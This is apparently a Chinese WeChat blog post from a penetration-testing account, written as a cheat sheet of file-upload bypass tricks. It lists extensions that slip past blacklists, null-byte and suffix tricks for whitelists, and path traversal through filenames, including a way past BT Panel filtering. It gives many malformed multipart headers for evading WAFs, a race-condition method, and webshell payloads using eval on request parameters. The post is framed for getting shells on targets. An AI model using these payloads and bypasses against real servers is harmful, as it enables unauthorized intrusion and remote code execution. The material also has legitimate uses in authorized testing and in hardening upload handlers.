免责声明
由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
欢迎关注本公众号,长期推送技术文章
前言
很长一段时间没有更新文章了,总结一下自己在遇到文件上传时遇到的问题,以及可以尝试的方法
部分手法参考各位师傅,在这一并做一个总结,谢谢各位师傅分享。
写的有点乱,各位师傅见谅~~~
服务端的检测与绕过方法
-
浏览器检测,直接关闭浏览器JavaScript检查、或者上传正常文件抓包即可。
-
后端服务器校验
后缀名检测绕过
MIME类型检测与绕过
文件内容检测与绕过
00截断绕过
条件竞争检测与绕过
MIME编码
https://mp.weixin.qq.com/s/COLw_Edxst-lZsi8MhL6kA
(注意,这里说的MIME编码可不是将Content-Type修改为image/png等类似的方式进行绕过的,这种方式修改的是MIME type。而我们今天所说的是MIME编码。)
Multipurpose Internet Mail Extensions (MIME) ,通常也称为多用途互联网邮件扩展,从字面意思可以看出,它的出现是为了扩展了电子邮件的格式,支持 ASCII 字符集以外二进制数据(例如图像、音频、视频或其他文件)转换为文本数据,以便能够安全地传输和处理。从commons-fileupload库版本 1.3 开始,FileUpload 可以处理 RFC 2047编码的标头值。
取=后的两个两个十六进制数字,并将其转换为ascii码值对应的字符。
所以MIME编码的格式为=?charset?encoding?encoded text?=
下面是对这个格式的详细解释:
=?:编码的起始标记,表示编码的开始。
charset:表示字符集,即非ASCII字符所使用的字符编码集。这通常是一个标识字符集的文本字符串,例如UTF-8或ISO-8859-1。
encoding:表示编码方式,即用于将字符编码为ASCII字符的具体方法。常见的编码方式包括"Q"和"B"。
"Q"表示Quoted-Printable编码,它将非ASCII字符编码为"="后跟两个十六进制数字的形式。
"B"表示Base64编码,它将数据编码为一系列ASCII字符。
encoded text:是实际编码后的文本,即包含非ASCII字符的原始文本的编码版本。
?=:编码的结束标记,表示编码的结束。
举例:
将shell.jsp通过Quoted-Printable编码方式为
=?utf-8?Q?=73=68=65=6c=6c=2e=6a=73=70?=
将shell.jsp通过Base64编码方式为=?utf-8?B?c2hlbGwuanNw?=
文件上传常见问题
文件上传不回显
确认上传成功之后,遍历目录+上传文件名,文件名不变的情况
查看存在的图片地址,优先遍历
以上寻找文件的方法需要的前提:文件名不变,字典路径足够多
1.目录没有执行权限(通过控制文件名进行../../跳目录,跳到可以执行脚本语言的目录)
2.上传文件找不到路径(通过控制文件名进行../../跳目录,层级跳到根目录进行访问)
3.上传白名单截断 (有些文件上传处是白名单,后缀名不可以绕,可以利用控制文件名截断的方式去绕过白名单,例如1.jsp%00.jpg)
截断文件前置名
利用跳目录
因为文件名可以控制,我们就可以利用../跳目录的方式去截断代码本身给添加的前置名
举例:
上传1.txt,代码会自动添加xxxx_xxxx_20_1.txt
这里的利用思路就是上传配合解析的配置文件,例如上传.htaccess配合解析,当然这里实战应用的场景还有很多,只是提供一个思路
Content-Disposition: form-data; name="url"; filename="///....111.txt"
绕过宝塔限制(看具体情况)
-
宝塔限制的规则是
../../
这种目录穿越,但是宝塔没有限制.././../
这种目录穿越,所以我们可以使用.././../
来绕过宝塔的限制 -
用.../1.png 可以穿
黑名单绕过:不同脚本语言支持的解析后缀
PHP脚本后缀绕过
.php
.php2
.php3
.php4
.php5
.php6
.php7
.phps
.phps
.pht
.phtm
.phtml
.pgif
.shtml
.htaccess
.phar
.inc
.hphp
.ctp
.module
ASP 脚本后缀绕过
.asp
.aspx
.config
.ashx
.asmx
.aspq
.axd
.cshtm
.cshtml
.rem
.soap
.vbhtm
.vbhtml
.asa
.cer
.shtml
Jsp 脚本后缀绕过
.jsp
.jspx
.jsw
.jsv
.jspf
Coldfusion:.cfm .cfml .cfc .dbm
Perl:.pl .cgi
随机大小写变换:.pHp .pHP5 .PhAr
白名单绕过:针对安全设备检测后缀的形式进行绕过
白名单简单来说就是目标程序规定了能上传的后缀名
这里以php为例,其他的类似
file.png.php
file.png.Php5
file.php%20
file.php%0a
file.php%00
file.php%0d%0a
file.php/
file.php.
file.
file.php....
file.pHp5....
file.png.php
file.png.pHp5
file.php#.png
file.php%00.png
file.phpx00.png
file.php%0a.png
file.php%0d%0a.png
file.phpJunk123png
file.png.jpg.php
file.php%00.png%00.jpg
条件竞争
可以利用上传时候的代码执行的需要一定的时间,加大客户端请求时候的并发,造成文件上传时候条件竞争。
准备好webshell,这个webshell的功能要能写一个大马到webapp根目录下,然后我们访问这个大马。
先开两个intruder,然后请求上传的文件的并发开到100。
访问大马的地址,检查是否创建成功。
文件上传 waf绕过
https://mp.weixin.qq.com/s/BLjfhMNkiTuSiIB9ZKAb2Q
https://mp.weixin.qq.com/s/FW93imGul0kNxbi2RhXBfA
(1)通过filename换行来绕过检测
第一种:
Content-Disposition: form-data; name="file"; filename="1.p
hp"
第二种:
Content-Disposition: form-data; name="file"; file
name="1.php"
第三种:
Content-Disposition: form-data; name="file"; filename=
"1.php"
三种均可
使用多个等号绕过检测
Content-Disposition: form-data; name="file"; filename==="a.php"
增大文件大小,类似于sql注入的大量垃圾字符绕waf检测
Content-Disposition: form-data; aaaaaaaaaaaaaaaaaaaaa......aaaaaaaaaaaaaaaaaaaaa;name="file"; filename="a.php"
去掉双引号或替换为单引号绕过waf
第一种:
Content-Disposition: form-data; name=file1; filename=a.php
第二种:
Content-Disposition: form-data; name='file1'; filename="a.php"
有些只检测第一个firename,可以增加filename干扰拦截
Content-Disposition: form-data; name="file"; filename= ; filename="a.php"
混淆waf匹配字段 混淆form-data
Content-Disposition: name="file"; filename="a.php"
去除form-data
Content-Disposition: AAAAAAAA="BBBBBBBB"; name="file"; filename="a.php"
替换form-data为垃圾值
Content-Disposition: form-data ; name="file"; filename="a.php"
form-data后加空格
Content-Disposition: for+m-data; name="file"; filename="a.php"
form-data中加+
混淆 ConTent-Disposition
COntEnT-DIsposiTiOn: form-data; name="file"; filename="a.php"
大小写混淆
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
调换Content-Type和ConTent-Disposition的顺序
Content-Type: image/gif
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
AAAAAAAA:filename="aaa.jpg";
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
Content-Length: 666
Content-Disposition: form-data; name="file"; filename="a.php"
Content-Type: image/gif
增加额外的头
双文件绕过,例如安全狗总以最后一个Content-Disposition中的值作为接收参数进行检测,一些中间件例如IIS6.0总是以第一个Content-Disposition中的值作为接收参数。
容器与WAF对Boundary要求规则不一致
Content-Type: multipart/form-data; boundary=---------------------------471****1141173****525****99
Content-Length: 253
-----------------------------471****1141173****525****99
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
<%eval request("a")%>
-----------------------------471****1141173****525****99--
条件竞争,一些情况下在上传文件时,先上传到临时目录,然后再检测,检测到再删除,例如:可以上传生成一句话木马的文件
fputs(fopen('shell6666.php','w'),'<?php @eval($_POST[1])?>');
上传同时疯狂重复发包访问此文件,就有可能会在文件被删除之前生成webshell文件a.php
结束语
祝大家都能一把梭哈,成功getshell
往期精彩:
原文始发于微信公众号(渗透云记):【备忘录】文件上传绕过小技巧总结
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论